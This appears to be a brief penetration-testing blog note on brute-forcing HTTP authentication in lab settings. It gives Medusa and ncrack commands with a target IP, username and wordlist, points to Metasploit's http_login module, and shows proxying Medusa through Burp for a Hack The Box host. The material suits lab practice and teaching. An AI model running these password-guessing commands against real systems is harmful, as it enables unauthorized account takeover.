With Medusa
Doesn’t seem to work with virtual hosts!
medusa -h 10.11.1.49 -u bethany -P Dog_Names_normalized.txt -M http -m DIR:/~Public -T 2
With ncrack
Doesn’t seem to work with virtual hosts!
ncrack -vv --user bethany -P Dog_Names_normalized.txt http://10.11.1.49:9505 -m http:path=/~Public/
With metasploit
Use module auxiliary/scanner/http/http_login
Virtual hosts
If Host headers are not supported:
- Start Burp proxy
- Configure proxychains to use Burp proxy.
- Prepend proxychains before the command and the requests are going through Burp. Example:
-
proxychains medusa -s -h docker.registry.htb -u registry -P /usr/share/wordlists/rockyou.txt -M http -m DIR:v2/_catalog -T 20
-
- In Burp, configure header modifications.
More
- https://www.hackingarticles.in/multiple-ways-to-exploiting-http-authentication/
Leave a Reply
You must be logged in to post a comment.